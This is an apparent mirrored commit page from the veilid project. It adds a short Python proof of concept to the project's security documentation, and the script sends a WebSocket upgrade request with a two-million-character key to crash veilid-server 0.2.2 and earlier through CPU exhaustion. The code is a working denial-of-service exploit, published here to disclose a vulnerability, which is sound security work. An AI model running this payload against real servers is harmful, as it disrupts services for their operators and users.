mirror of
https://gitlab.com/veilid/veilid.git
synced 2025-05-07 17:14:58 -04:00
consolidate docs, add security poc
This commit is contained in:
parent
1f5867890d
commit
4999095bb3
5 changed files with 544 additions and 0 deletions
7
doc/security/poc/large-websocket-key-v0.2.2.py
Normal file
7
doc/security/poc/large-websocket-key-v0.2.2.py
Normal file
|
@ -0,0 +1,7 @@
|
|||
# When pointed at veilid-server 0.2.2 or earlier, this will cause 100% CPU utilization
|
||||
|
||||
import socket
|
||||
s = socket.socket()
|
||||
s.connect(('127.0.0.1',5150))
|
||||
s.send(f"GET /ws HTTP/1.1\r\nSec-WebSocket-Version: 13\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Key: {'A'*2000000}\r\n\r\n".encode())
|
||||
s.close()
|
Loading…
Add table
Add a link
Reference in a new issue